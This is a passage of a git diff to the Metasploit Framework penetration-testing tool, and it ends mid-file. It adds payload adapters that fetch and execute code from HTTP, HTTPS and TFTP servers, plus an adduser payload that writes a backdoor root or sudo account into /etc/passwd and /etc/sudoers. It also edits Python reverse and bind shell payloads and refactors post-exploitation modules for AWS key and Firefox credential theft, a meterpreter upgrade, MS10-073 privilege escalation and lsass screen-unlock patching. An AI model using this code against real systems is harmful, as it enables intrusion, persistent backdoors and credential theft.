Msf::Payload::Adapter::Fetch::Https + include Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'HTTPS Fetch', + 'Description' => 'Fetch and execute an MIPS64 payload from an HTTPS server.', + 'Author' => ['Brendan Watters', 'Spencer McIntyre'], + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_MIPS64, + 'AdaptedPlatform' => 'linux' + ) + ) + end +end diff --git a/modules/payloads/adapters/cmd/linux/https/x64.rb b/modules/payloads/adapters/cmd/linux/https/x64.rb new file mode 100644 index 0000000000000..c1eb37017dbc0 --- /dev/null +++ b/modules/payloads/adapters/cmd/linux/https/x64.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::Https + include Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'HTTPS Fetch', + 'Description' => 'Fetch and execute an x64 payload from an HTTPS server.', + 'Author' => 'Brendan Watters', + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_X64, + 'AdaptedPlatform' => 'linux' + ) + ) + end +end diff --git a/modules/payloads/adapters/cmd/linux/https/x86.rb b/modules/payloads/adapters/cmd/linux/https/x86.rb new file mode 100644 index 0000000000000..875cdd27dbfdd --- /dev/null +++ b/modules/payloads/adapters/cmd/linux/https/x86.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::Https + include Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'HTTPS Fetch', + 'Description' => 'Fetch and execute an x86 payload from an HTTPS server.', + 'Author' => ['Brendan Watters', 'Spencer McIntyre'], + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_X86, + 'AdaptedPlatform' => 'linux' + ) + ) + end +end diff --git a/modules/payloads/adapters/cmd/linux/tftp/mips64.rb b/modules/payloads/adapters/cmd/linux/tftp/mips64.rb new file mode 100644 index 0000000000000..89cdad891021e --- /dev/null +++ b/modules/payloads/adapters/cmd/linux/tftp/mips64.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::TFTP + include Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'TFTP Fetch', + 'Description' => 'Fetch and execute a MIPS64 payload from a TFTP server.', + 'Author' => ['Brendan Watters', 'Spencer McIntyre'], + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_MIPS64, + 'AdaptedPlatform' => 'linux' + ) + ) + end +end diff --git a/modules/payloads/adapters/cmd/linux/tftp/x64.rb b/modules/payloads/adapters/cmd/linux/tftp/x64.rb new file mode 100644 index 0000000000000..e41205542c20c --- /dev/null +++ b/modules/payloads/adapters/cmd/linux/tftp/x64.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::TFTP + include Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'TFTP Fetch', + 'Description' => 'Fetch and execute an x64 payload from a TFTP server.', + 'Author' => 'Brendan Watters', + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_X64, + 'AdaptedPlatform' => 'linux' + ) + ) + end +end diff --git a/modules/payloads/adapters/cmd/linux/tftp/x86.rb b/modules/payloads/adapters/cmd/linux/tftp/x86.rb new file mode 100644 index 0000000000000..36f5aa5030d96 --- /dev/null +++ b/modules/payloads/adapters/cmd/linux/tftp/x86.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::TFTP + include Msf::Payload::Adapter::Fetch::LinuxOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'TFTP Fetch', + 'Description' => 'Fetch and execute a x86 payload from a TFTP server.', + 'Author' => ['Brendan Watters', 'Spencer McIntyre'], + 'Platform' => 'linux', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_X86, + 'AdaptedPlatform' => 'linux' + ) + ) + end +end diff --git a/modules/payloads/adapters/cmd/windows/http/x64.rb b/modules/payloads/adapters/cmd/windows/http/x64.rb new file mode 100644 index 0000000000000..0f3bf296de8a4 --- /dev/null +++ b/modules/payloads/adapters/cmd/windows/http/x64.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::HTTP + include Msf::Payload::Adapter::Fetch::WindowsOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'HTTP Fetch', + 'Description' => 'Fetch and Execute an x64 payload from an http server', + 'Author' => 'Brendan Watters', + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_X64, + 'AdaptedPlatform' => 'win' + ) + ) + end +end diff --git a/modules/payloads/adapters/cmd/windows/https/x64.rb b/modules/payloads/adapters/cmd/windows/https/x64.rb new file mode 100644 index 0000000000000..d4c8f33ed0811 --- /dev/null +++ b/modules/payloads/adapters/cmd/windows/https/x64.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::Https + include Msf::Payload::Adapter::Fetch::WindowsOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'HTTPS Fetch', + 'Description' => 'Fetch and Execute an x64 payload from an https server', + 'Author' => 'Brendan Watters', + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_X64, + 'AdaptedPlatform' => 'win' + ) + ) + end +end diff --git a/modules/payloads/adapters/cmd/windows/tftp/x64.rb b/modules/payloads/adapters/cmd/windows/tftp/x64.rb new file mode 100644 index 0000000000000..5b8cd853ce0ad --- /dev/null +++ b/modules/payloads/adapters/cmd/windows/tftp/x64.rb @@ -0,0 +1,25 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + include Msf::Payload::Adapter::Fetch::TFTP + include Msf::Payload::Adapter::Fetch::WindowsOptions + + def initialize(info = {}) + super( + update_info( + info, + 'Name' => 'TFTP Fetch', + 'Description' => 'Fetch and Execute an x64 payload from a tftp server', + 'Author' => 'Brendan Watters', + 'Platform' => 'win', + 'Arch' => ARCH_CMD, + 'License' => MSF_LICENSE, + 'AdaptedArch' => ARCH_X64, + 'AdaptedPlatform' => 'win' + ) + ) + end +end diff --git a/modules/payloads/singles/cmd/unix/adduser.rb b/modules/payloads/singles/cmd/unix/adduser.rb new file mode 100644 index 0000000000000..3db8de897f0d0 --- /dev/null +++ b/modules/payloads/singles/cmd/unix/adduser.rb @@ -0,0 +1,92 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'unix_crypt' + +module MetasploitModule + CachedSize = :dynamic + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'Add user with useradd', + 'Description' => %q{ + Creates a new user. By default the new user is set with sudo + but other options exist to make the new user automatically + root but this is not automatically set since the new user will + be treated as root (and login may be difficult). The new user + can also be set as just a standard user if desired. + }, + 'Author' => 'Nick Cottrell ', + 'License' => MSF_LICENSE, + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Handler' => Msf::Handler::None, + 'Session' => Msf::Sessions::CommandShell, + 'PayloadType' => 'cmd', + 'RequiredCmd' => 'generic', + 'Payload' => { + 'Offsets' => {}, + 'Payload' => '' + } + ) + ) + + register_options( + [ + OptString.new('USER', [ true, 'The username to create', 'metasploit' ]), + OptString.new('PASS', [ true, 'The password for this user', 'Metasploit$1' ]) + ] + ) + + register_advanced_options( + [ + OptEnum.new('RootMethod', [false, 'The method to obtain root with the new user', 'SUDO', ['SUID', 'SUDO', 'NONE']]), + OptBool.new('CheckSudoers', [false, 'Check if the sudoers file exists before modifying it', true], conditions: %w[RootMethod == SUDO]) + ] + ) + end + + # + # Constructs the payload + # + def generate(_opts = {}) + vprint_good(command_string) + return super + command_string + end + + def user + if datastore['USER'] !~ /^[a-z][-a-z0-9]*$/ + raise ArgumentError, 'Username doesn\'t fit within regex /[a-z][-a-z0-9]*/' + end + + datastore['USER'] + end + + # + # Returns the command string to use for execution + # + def command_string + suid = if datastore['RootMethod'] == 'SUID' + '0' + else + rand(1010..1999).to_s + end + passwd = UnixCrypt::MD5.build(datastore['PASS'], 'Az') + payload_cmd = "echo \'#{user}:#{passwd}:#{suid}:#{suid}::/:/bin/sh\'>>/etc/passwd" + if datastore['RootMethod'] == 'SUDO' + if datastore['CheckSudoers'] + payload_cmd += ";[ -f /etc/sudoers ]&&(echo \'#{user} ALL=(ALL:ALL) ALL\'>>/etc/sudoers)" + else + payload_cmd += ";echo \'#{user} ALL=(ALL:ALL) ALL\'>>/etc/sudoers" + end + end + payload_cmd + end +end diff --git a/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb b/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb index d1fc4bcd3aab1..0b7d3e7951838 100644 --- a/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb +++ b/modules/payloads/singles/cmd/unix/reverse_python_ssl.rb @@ -61,7 +61,7 @@ def command_string cmd += "while not #{dead}:\n" cmd += "\tdata=s.recv(1024)\n" cmd += "\tif len(data)==0:\n\t\t#{dead} = True\n" - cmd += "\tproc=subprocess.Popen(data,shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n" + cmd += "\tproc=subprocess.Popen(data.decode('utf-8'),shell=True,stdout=subprocess.PIPE,stderr=subprocess.PIPE,stdin=subprocess.PIPE)\n" cmd += "\tstdout_value=proc.stdout.read() + proc.stderr.read()\n" cmd += "\ts.send(stdout_value)\n" "#{datastore['PythonPath']} -c \"#{ py_create_exec_stub(cmd) }\"" diff --git a/modules/payloads/singles/generic/shell_bind_aws_ssm.rb b/modules/payloads/singles/generic/shell_bind_aws_ssm.rb new file mode 100644 index 0000000000000..686b8b6e93253 --- /dev/null +++ b/modules/payloads/singles/generic/shell_bind_aws_ssm.rb @@ -0,0 +1,37 @@ +## +# This module requires Metasploit: https://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +module MetasploitModule + CachedSize = 0 + + include Msf::Payload::Single + include Msf::Sessions::CommandShellOptions + + def initialize(info = {}) + super( + merge_info( + info, + 'Name' => 'Command Shell, Bind SSM (via AWS API)', + 'Description' => 'Creates an interactive shell using AWS SSM', + 'Author' => 'RageLtMan ', + 'License' => MSF_LICENSE, + 'Platform' => '', + 'Arch' => ARCH_ALL, + 'Handler' => Msf::Handler::BindAwsSsm, + 'Session' => Msf::Sessions::AwsSsmCommandShellBind, + 'Payload' => { + 'Offsets' => {}, + 'Payload' => '' + } + ) + ) + end + + def on_session(session) + super + + session.arch.clear # undo the ARCH_ALL amalgamation + end +end diff --git a/modules/payloads/singles/python/shell_bind_tcp.rb b/modules/payloads/singles/python/shell_bind_tcp.rb index abeb893584746..ef779fad3af52 100644 --- a/modules/payloads/singles/python/shell_bind_tcp.rb +++ b/modules/payloads/singles/python/shell_bind_tcp.rb @@ -42,7 +42,7 @@ def command_string d=so.recv(1024) if len(d)==0: break - p=r.Popen(d,shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE) + p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE) o=p.stdout.read()+p.stderr.read() so.send(o) PYTHON diff --git a/modules/payloads/singles/python/shell_reverse_sctp.rb b/modules/payloads/singles/python/shell_reverse_sctp.rb index c8f1b0b6f36e8..eff88b0110279 100644 --- a/modules/payloads/singles/python/shell_reverse_sctp.rb +++ b/modules/payloads/singles/python/shell_reverse_sctp.rb @@ -51,7 +51,7 @@ def command_string d=so.recv(1024) if len(d)==0: break - p=r.Popen(d,shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE) + p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE) o=p.stdout.read()+p.stderr.read() try: so.send(o) diff --git a/modules/payloads/singles/python/shell_reverse_tcp.rb b/modules/payloads/singles/python/shell_reverse_tcp.rb index 1c0ced2d5e776..2468480dcf129 100644 --- a/modules/payloads/singles/python/shell_reverse_tcp.rb +++ b/modules/payloads/singles/python/shell_reverse_tcp.rb @@ -51,7 +51,7 @@ def command_string d=so.recv(1024) if len(d)==0: break - p=r.Popen(d,shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE) + p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE) o=p.stdout.read()+p.stderr.read() so.send(o) PYTHON diff --git a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb index 106c3d8a35a1f..07c1879e5498e 100644 --- a/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb +++ b/modules/payloads/singles/python/shell_reverse_tcp_ssl.rb @@ -53,7 +53,7 @@ def command_string d=so.recv(1024) if len(d)==0: break - p=r.Popen(d,shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE) + p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE) o=p.stdout.read()+p.stderr.read() so.sendall(o) PYTHON diff --git a/modules/payloads/singles/python/shell_reverse_udp.rb b/modules/payloads/singles/python/shell_reverse_udp.rb index 02e88934564e4..95af617d7a476 100644 --- a/modules/payloads/singles/python/shell_reverse_udp.rb +++ b/modules/payloads/singles/python/shell_reverse_udp.rb @@ -52,7 +52,7 @@ def command_string d=so.recv(1024) if len(d)==0: break - p=r.Popen(d,shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE) + p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE) o=p.stdout.read()+p.stderr.read() PYTHON diff --git a/modules/post/multi/gather/apple_ios_backup.rb b/modules/post/multi/gather/apple_ios_backup.rb index 3c0c873766161..f5e4cc127419e 100644 --- a/modules/post/multi/gather/apple_ios_backup.rb +++ b/modules/post/multi/gather/apple_ios_backup.rb @@ -6,6 +6,7 @@ require 'English' class MetasploitModule < Msf::Post include Msf::Post::File + include Msf::Post::Windows::Version def initialize(info = {}) super( @@ -29,7 +30,6 @@ def initialize(info = {}) core_channel_write stdapi_sys_config_getenv stdapi_sys_config_getuid - stdapi_sys_config_sysinfo ] } } @@ -57,9 +57,9 @@ def run when 'windows' @platform = :windows drive = session.sys.config.getenv('SystemDrive') - os = session.sys.config.sysinfo['OS'] + version = get_version_info - if os =~ /Windows 7|Vista|2008/ + if version.build_number >= Msf::WindowsVersion::Vista_SP0 @appdata = '\\AppData\\Roaming' @users = drive + '\\Users' else diff --git a/modules/post/multi/gather/aws_keys.rb b/modules/post/multi/gather/aws_keys.rb index 5b54f13ac56c5..ce50726d4b8ba 100644 --- a/modules/post/multi/gather/aws_keys.rb +++ b/modules/post/multi/gather/aws_keys.rb @@ -24,6 +24,7 @@ def initialize(info = {}) }, 'License' => MSF_LICENSE, 'Author' => [ 'Jon Hart ' ], + 'Platform' => ['linux', 'osx', 'unix', 'solaris', 'bsd'], 'SessionTypes' => %w[shell meterpreter], 'References' => [ [ 'URL', 'http://s3tools.org/kb/item14.htm' ], diff --git a/modules/post/multi/gather/firefox_creds.rb b/modules/post/multi/gather/firefox_creds.rb index 34add9dbbbd69..122cf4367ce64 100644 --- a/modules/post/multi/gather/firefox_creds.rb +++ b/modules/post/multi/gather/firefox_creds.rb @@ -64,7 +64,6 @@ def initialize(info = {}) stdapi_fs_stat stdapi_sys_config_getenv stdapi_sys_config_getuid - stdapi_sys_config_sysinfo stdapi_sys_process_get_processes stdapi_sys_process_kill ] @@ -106,7 +105,6 @@ def run if datastore['DECRYPT'] do_decrypt else # Non DECRYPT - paths = [] paths = enum_users if paths.nil? || paths.empty? @@ -151,7 +149,7 @@ def do_decrypt end end - session.type == 'meterpreter' ? (size = '(%s MB)' % '%0.2f' % (session.fs.file.stat(@paths['ff'] + org_file).size / 1048576.0)) : (size = '') + session.type == 'meterpreter' ? (size = format('(%s MB)', '%0.2f') % (session.fs.file.stat(@paths['ff'] + org_file).size / 1048576.0)) : (size = '') tmp = Dir.tmpdir + '/' + new_file # Cross platform local tempdir, "/" should work on Windows too print_status("Downloading #{@paths['ff'] + org_file} to: #{tmp} %s" % size) @@ -176,7 +174,7 @@ def do_decrypt Zip::File.open(tmp) do |zip_file| res = decrypt_modify_omnija(zip_file) end - rescue Zip::Error => e + rescue Zip::Error print_error("Error modifying: #{tmp}") return end @@ -384,7 +382,8 @@ def decrypt_get_env case @platform when :windows - unless got_root || session.sys.config.sysinfo['OS'] =~ /xp/i + version = get_version_info + unless got_root || version.xp_or_2003? print_warning('You may need SYSTEM privileges on this platform for the DECRYPT option to work') end diff --git a/modules/post/multi/manage/shell_to_meterpreter.rb b/modules/post/multi/manage/shell_to_meterpreter.rb index 44db437655221..92a0e056f0030 100644 --- a/modules/post/multi/manage/shell_to_meterpreter.rb +++ b/modules/post/multi/manage/shell_to_meterpreter.rb @@ -6,6 +6,7 @@ class MetasploitModule < Msf::Post include Exploit::Powershell + include Post::Architecture include Post::Windows::Powershell def initialize(info = {}) @@ -84,19 +85,19 @@ def run when 'windows', 'win' platform = 'windows' lplat = [Msf::Platform::Windows] - arch = cmd_exec('wmic os get osarchitecture') - if arch =~ /64-bit/m + arch = get_os_architecture + case arch + when ARCH_X64 payload_name = 'windows/x64/meterpreter/reverse_tcp' - larch = [ARCH_X64] psh_arch = 'x64' - elsif arch =~ /32-bit/m + when ARCH_X86 payload_name = 'windows/meterpreter/reverse_tcp' - larch = [ARCH_X86] psh_arch = 'x86' else print_error('Target is running Windows on an unsupported architecture such as Windows ARM!') return nil end + larch = [arch] vprint_status('Platform: Windows') when 'osx' platform = 'osx' @@ -131,14 +132,16 @@ def run vprint_status('Platform: Python [fallback]') end end - payload_name = datastore['PAYLOAD_OVERRIDE'] if datastore['PAYLOAD_OVERRIDE'] - vprint_status("Upgrade payload: #{payload_name}") if platform.blank? print_error("Shells on the target platform, #{session.platform}, cannot be upgraded to Meterpreter at this time.") return nil end + payload_name = datastore['PAYLOAD_OVERRIDE'] if datastore['PAYLOAD_OVERRIDE'] + + vprint_status("Upgrade payload: #{payload_name}") + payload_data = generate_payload(lhost, lport, payload_name) if payload_data.blank? print_error("Unable to build a suitable payload for #{session.platform} using payload #{payload_name}.") @@ -207,7 +210,8 @@ def run vprint_status('Cleaning up handler') cleanup_handler(listener_job_id, aborted) end - return nil + + nil end # @@ -283,7 +287,7 @@ def transmit_payload(exe, platform) # for an unlimited amount of time for the newly spawned session to exit. wait_for_cmd_result = i + 1 < cmds.length # Note that non-channelized cmd_exec calls currently return an empty string - ret = cmd_exec(cmds.last, nil, command_timeout, { 'Channelized' => wait_for_cmd_result }) + ret = cmd_exec(cmd, nil, command_timeout, { 'Channelized' => wait_for_cmd_result }) if wait_for_cmd_result if !ret aborted = true @@ -359,47 +363,55 @@ def check_for_listener(lhost, lport) # Starts a exploit/multi/handler session def create_multihandler(lhost, lport, payload_name) pay = client.framework.payloads.create(payload_name) + pay.datastore['RHOST'] = rhost pay.datastore['LHOST'] = lhost pay.datastore['LPORT'] = lport - print_status('Starting exploit/multi/handler') - if !check_for_listener(lhost, lport) - # Set options for module - mh = client.framework.exploits.create('multi/handler') - mh.share_datastore(pay.datastore) - mh.datastore['WORKSPACE'] = client.workspace - mh.datastore['PAYLOAD'] = payload_name - mh.datastore['EXITFUNC'] = 'thread' - mh.datastore['ExitOnSession'] = true - # Validate module options - mh.options.validate(mh.datastore) - # Execute showing output - mh.exploit_simple( - 'Payload' => mh.datastore['PAYLOAD'], - 'LocalInput' => user_input, - 'LocalOutput' => user_output, - 'RunAsJob' => true - ) - # Check to make sure that the handler is actually valid - # If another process has the port open, then the handler will fail - # but it takes a few seconds to do so. The module needs to give - # the handler time to fail or the resulting connections from the - # target could end up on on a different handler with the wrong payload - # or dropped entirely. - select(nil, nil, nil, 5) - return nil if framework.jobs[mh.job_id.to_s].nil? + print_status('Starting exploit/multi/handler') - return mh.job_id.to_s - else + if check_for_listener(lhost, lport) print_error('A job is listening on the same local port') - return nil + return end + + # Set options for module + mh = client.framework.exploits.create('multi/handler') + mh.share_datastore(pay.datastore) + mh.datastore['WORKSPACE'] = client.workspace + mh.datastore['PAYLOAD'] = payload_name + mh.datastore['EXITFUNC'] = 'thread' + mh.datastore['ExitOnSession'] = true + # Validate module options + mh.options.validate(mh.datastore) + # Execute showing output + mh.exploit_simple( + 'Payload' => mh.datastore['PAYLOAD'], + 'LocalInput' => user_input, + 'LocalOutput' => user_output, + 'RunAsJob' => true + ) + + # Check to make sure that the handler is actually valid + # If another process has the port open, then the handler will fail + # but it takes a few seconds to do so. The module needs to give + # the handler time to fail or the resulting connections from the + # target could end up on on a different handler with the wrong payload + # or dropped entirely. + select(nil, nil, nil, 5) + return nil if framework.jobs[mh.job_id.to_s].nil? + + mh.job_id.to_s end def generate_payload(lhost, lport, payload_name) payload = framework.payloads.create(payload_name) - options = "LHOST=#{lhost} LPORT=#{lport}" - buf = payload.generate_simple('OptionStr' => options) - buf + + unless payload.respond_to?('generate_simple') + print_error("Could not generate payload #{payload_name}. Invalid payload?") + return + end + + options = "LHOST=#{lhost} LPORT=#{lport} RHOST=#{rhost}" + payload.generate_simple('OptionStr' => options) end end diff --git a/modules/post/windows/escalate/ms10_073_kbdlayout.rb b/modules/post/windows/escalate/ms10_073_kbdlayout.rb index 869af29d77e06..5f3ed494e926b 100644 --- a/modules/post/windows/escalate/ms10_073_kbdlayout.rb +++ b/modules/post/windows/escalate/ms10_073_kbdlayout.rb @@ -6,6 +6,7 @@ require 'metasm' class MetasploitModule < Msf::Post + include Msf::Post::Windows::Version def initialize(info = {}) super( @@ -44,7 +45,6 @@ def initialize(info = {}) stdapi_railgun_api stdapi_railgun_memwrite stdapi_sys_config_getenv - stdapi_sys_config_sysinfo stdapi_sys_process_getpid ] } @@ -57,23 +57,19 @@ def run mem_base = nil dllpath = nil hDll = false - - vuln = false - winver = session.sys.config.sysinfo['OS'] - affected = [ 'Windows 2000', 'Windows XP' ] - affected.each do |v| - if winver.include? v - vuln = true - break - end + version = get_version_info + unless version.build_number.between?(Msf::WindowsVersion::Win2000, Msf::WindowsVersion::Win7_SP0) + print_error("#{version.product_name} is not vulnerable.") + return end - if !vuln - print_error("#{winver} is not vulnerable.") + + unless version.build_number.between?(Msf::WindowsVersion::Win2000, Msf::WindowsVersion::XP_SP2) + print_error("#{version.product_name} is vulnerable, but not supported by this module.") return end # syscalls from http://j00ru.vexillium.org/win32k_syscalls/ - if winver =~ /2000/ + if version.build_number == Msf::WindowsVersion::Win2000 system_pid = 8 pid_off = 0x9c flink_off = 0xa0 @@ -216,7 +212,7 @@ def run print_error('Unable to allocate RWX memory @ 0x%x' % mem_base) return end - print_status('Allocated 0x%x bytes of memory @ 0x%x' % [mem_size, mem_base]) + print_status(format('Allocated 0x%x bytes of memory @ 0x%x', mem_size, mem_base)) # Initialize the buffer to contain NO-OPs nops = "\x90" * mem_size diff --git a/modules/post/windows/escalate/screen_unlock.rb b/modules/post/windows/escalate/screen_unlock.rb index a21c0d5184bc2..d582fc9239085 100644 --- a/modules/post/windows/escalate/screen_unlock.rb +++ b/modules/post/windows/escalate/screen_unlock.rb @@ -6,6 +6,7 @@ require 'metasm' class MetasploitModule < Msf::Post + include Msf::Post::Windows::Version def initialize(info = {}) super( @@ -22,14 +23,13 @@ def initialize(info = {}) 'License' => MSF_LICENSE, 'Author' => [ 'L4teral ', # Meterpreter script - 'Metlstorm' # Based on the winlockpwn tool released by Metlstorm: http://www.storm.net.nz/projects/16 + 'Metlstorm' # Based on the winlockpwn tool released by Metlstorm: http://www.storm.net.nz/projects/16 ], 'Platform' => [ 'win' ], 'SessionTypes' => [ 'meterpreter' ], 'Compat' => { 'Meterpreter' => { 'Commands' => %w[ - stdapi_sys_config_sysinfo stdapi_sys_process_attach stdapi_sys_process_memory_read stdapi_sys_process_memory_write @@ -53,23 +53,23 @@ def run revert = datastore['REVERT'] targets = [ - { sig: '8bff558bec83ec50a1', sigoffset: 0x9927, orig_code: '32c0', patch: 'b001', patchoffset: 0x99cc, os: /Windows XP.*Service Pack 2/ }, - { sig: '8bff558bec83ec50a1', sigoffset: 0x981b, orig_code: '32c0', patch: 'b001', patchoffset: 0x98c0, os: /Windows XP.*Service Pack 3/ }, - { sig: '8bff558bec81ec88000000a1', sigoffset: 0xb76a, orig_code: '32c0', patch: 'b001', patchoffset: 0xb827, os: /Windows Vista/ }, - { sig: '8bff558bec81ec88000000a1', sigoffset: 0xb391, orig_code: '32c0', patch: 'b001', patchoffset: 0xb44e, os: /Windows Vista/ }, - { sig: '8bff558bec81ec88000000a1', sigoffset: 0xacf6, orig_code: '32c0', patch: 'b001', patchoffset: 0xadb3, os: /Windows Vista/ }, - { sig: '8bff558bec81ec88000000a1', sigoffset: 0xe881, orig_code: '32c0', patch: 'b001', patchoffset: 0xe93e, os: /Windows 7/ }, - { sig: '8bff558bec83ec50a1', sigoffset: 0x97d3, orig_code: '32c0', patch: 'b001', patchoffset: 0x9878, os: /Windows XP.*Service Pack 3 - spanish/ } + { sig: '8bff558bec83ec50a1', sigoffset: 0x9927, orig_code: '32c0', patch: 'b001', patchoffset: 0x99cc, os_start: Msf::WindowsVersion::XP_SP2, os_end: Msf::WindowsVersion::XP_SP2 }, + { sig: '8bff558bec83ec50a1', sigoffset: 0x981b, orig_code: '32c0', patch: 'b001', patchoffset: 0x98c0, os_start: Msf::WindowsVersion::XP_SP3, os_end: Msf::WindowsVersion::XP_SP3 }, + { sig: '8bff558bec81ec88000000a1', sigoffset: 0xb76a, orig_code: '32c0', patch: 'b001', patchoffset: 0xb827, os_start: Msf::WindowsVersion::Vista_SP0, os_end: Msf::WindowsVersion::Vista_SP2 }, + { sig: '8bff558bec81ec88000000a1', sigoffset: 0xb391, orig_code: '32c0', patch: 'b001', patchoffset: 0xb44e, os_start: Msf::WindowsVersion::Vista_SP0, os_end: Msf::WindowsVersion::Vista_SP2 }, + { sig: '8bff558bec81ec88000000a1', sigoffset: 0xacf6, orig_code: '32c0', patch: 'b001', patchoffset: 0xadb3, os_start: Msf::WindowsVersion::Vista_SP0, os_end: Msf::WindowsVersion::Vista_SP2 }, + { sig: '8bff558bec81ec88000000a1', sigoffset: 0xe881, orig_code: '32c0', patch: 'b001', patchoffset: 0xe93e, os_start: Msf::WindowsVersion::Win7_SP0, os_end: Msf::WindowsVersion::Win7_SP1 }, + { sig: '8bff558bec83ec50a1', sigoffset: 0x97d3, orig_code: '32c0', patch: 'b001', patchoffset: 0x9878, os_start: Msf::WindowsVersion::XP_SP3, os_end: Msf::WindowsVersion::XP_SP3 } # Spanish ] unsupported if client.platform != 'windows' || (client.arch != ARCH_X64 && client.arch != ARCH_X86) - os = client.sys.config.sysinfo['OS'] + version = get_version_info targets.each do |t| - next unless os =~ t[:os] + next unless version.build_number.between?(t[:os_start], t[:os_end]) && !version.windows_server? target = t - print_status("OS '#{os}' found in known targets") + print_status("OS '#{version.product_name}' found in known targets") pid = client.sys.process['lsass.exe'] p = client.sys.process.open(pid, PROCESS_ALL_ACCESS) dllbase = p.image['msv1_0.dll'] diff --git a/modules/post/windows/escalate/unmarshal_cmd_exec.rb b/modules/post/windows/escalate/unmarshal_cmd_exec.rb index 408bb8d04573b..4fea15f349a6d 100644 --- a/modules/post/windows/escalate/unmarshal_cmd_exec.rb +++ b/modules/post/windows/escalate/unmarshal_cmd_exec.rb @@ -5,6 +5,7 @@ class MetasploitModule < Msf::Post include Msf::Post::Common include Msf::Post::File + include Msf::Post::Windows::Version # include Msf::Post::Windows::Priv def initialize(info = {}) @@ -59,8 +60,8 @@ def initialize(info = {}) def setup super validate_active_host - @exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha((rand(6..13))) - @script_name = datastore['SCRIPT_NAME'] || Rex::Text.rand_text_alpha((rand(6..13))) + @exploit_name = datastore['EXPLOIT_NAME'] || Rex::Text.rand_text_alpha(rand(6..13)) + @script_name = datastore['SCRIPT_NAME'] || Rex::Text.rand_text_alpha(rand(6..13)) @exploit_name = "#{exploit_name}.exe" unless exploit_name.match(/\.exe$/i) @script_name = "#{script_name}.sct" unless script_name.match(/\.sct$/i) @temp_path = datastore['PATH'] || session.sys.config.getenv('TEMP') @@ -69,8 +70,8 @@ def setup end def populate_command - 